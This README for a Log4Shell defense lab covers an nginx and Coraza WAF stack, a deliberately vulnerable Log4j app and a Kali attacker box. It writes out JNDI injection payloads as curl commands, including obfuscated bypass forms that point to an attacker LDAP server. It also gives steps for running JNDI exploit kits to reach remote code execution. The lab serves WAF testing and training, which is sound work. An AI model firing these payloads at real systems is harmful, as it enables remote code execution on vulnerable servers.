
Log4Shell (CVE-2021-44228) defense lab — nginx + Coraza WAF dynamic module + OWASP CRS v4. Educational use only.
Educational / defensive purpose: this lab contains a deliberately vulnerable app (Log4j 2.14.1) and a JNDI exploit kit, ONLY for learning how to detect and block Log4Shell in an isolated environment. Do not deploy to the Internet, do not use to attack systems that do not belong to you.
Hands-on lab for defending against Log4Shell (CVE-2021-44228) using nginx integrated with Coraza WAF (dynamic module) + OWASP CRS v4 + custom JNDI rules. Includes a vulnerable Spring Boot target container, an attacker-box Kali, and Suricata + Wazuh for monitoring.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, has Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Request flow: client → nginx (Coraza inspect) → log4shell-app. WAF runs inside nginx (via module ngx_http_coraza_module.so), not a separate container.
| Item | Minimum version |
|---|---|
| Docker Desktop / Engine | 24+ with Compose v2 |
| Free RAM | 4 GB (Wazuh consumes ~1.5 GB) |
| Free disk | 6 GB (image build artifacts) |
| First build time | 10–15 minutes (libcoraza + nginx module + Maven attacker tools) |
cd /path/to/log4shell-nginx-coraza
docker compose build
The slowest stage is nginx (build libcoraza v1.4.0 with Go 1.25, then compile coraza-nginx module). Cached after the first time.
docker compose up -d
docker compose ps
After ~30s, expected status:
| Service | STATUS |
|---|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | may be Restarting (see item 8 — does not block lab) |
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# through WAF to app (real endpoint of log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ without X-Api-Version header will return 400 — that is Spring Boot whitelabel error (no handler), not WAF blocking.
# JNDI in User-Agent → rule 1910010 fires, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI in app log header: X-Api-Version → rule 1910001 (header+arg) fires, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI in query string → CRS phase 1 blocks
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Expected: HTTP/1.1 403 Forbidden, body <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body contains jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Each event is JSON Lines, with:
transaction.is_interrupted: true → WAF blockedmessages[].error_message → which rule fired, file & line, severitydocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filter blocks:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
By default
backend-netis set tointernal: trueandattacker-boxis only ondmz-net, so log4shell-app is NOT reachable from attacker-box. To make the JNDI chain work end-to-end, do step 6.0 first.
Edit docker-compose.yml, add attacker-box to backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— add
Or move log4shell-app to dmz-net (simpler but reduces segmentation educational value):
log4shell-app:
networks:
- backend-net
- dmz-net # <— add
Apply: docker compose up -d (Compose recreates that container only).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — simple, only relays LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
Server listens on LDAP :1389 and HTTP :8888 (already exposed to host in compose).
# From attacker-box, call log4shell-app directly on backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Check:
# Pwned marker created inside app container
docker exec victim-app ls -la /tmp/pwned
If file exists → exploit chain OK, app is still vulnerable, WAF is NOT bypassed when going through the main path.
# Through nginx (public main path)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, NO new /tmp/pwned
File ./coraza/config/log4shell-rules.conf is mounted :ro into nginx at /etc/nginx/coraza/log4shell-rules.conf. After editing:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
If Coraza reports a parsing error (failed to compile the directive...), workers will exit and nginx -s reload cannot respawn them. Then:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Include order (in nginx/coraza/main.conf, baked into image):
SecRuleEngine On, audit log, debug logcrs-setup.conf — initialize tx.*_anomaly_score, thresholdsowasp-crs/rules/*.conf — full CRS v4.7.0log4shell-rules.conf — custom rules (mounted from host)Custom rule ID range: 1910001 – 1910999 (avoids CRS range 900000–999999).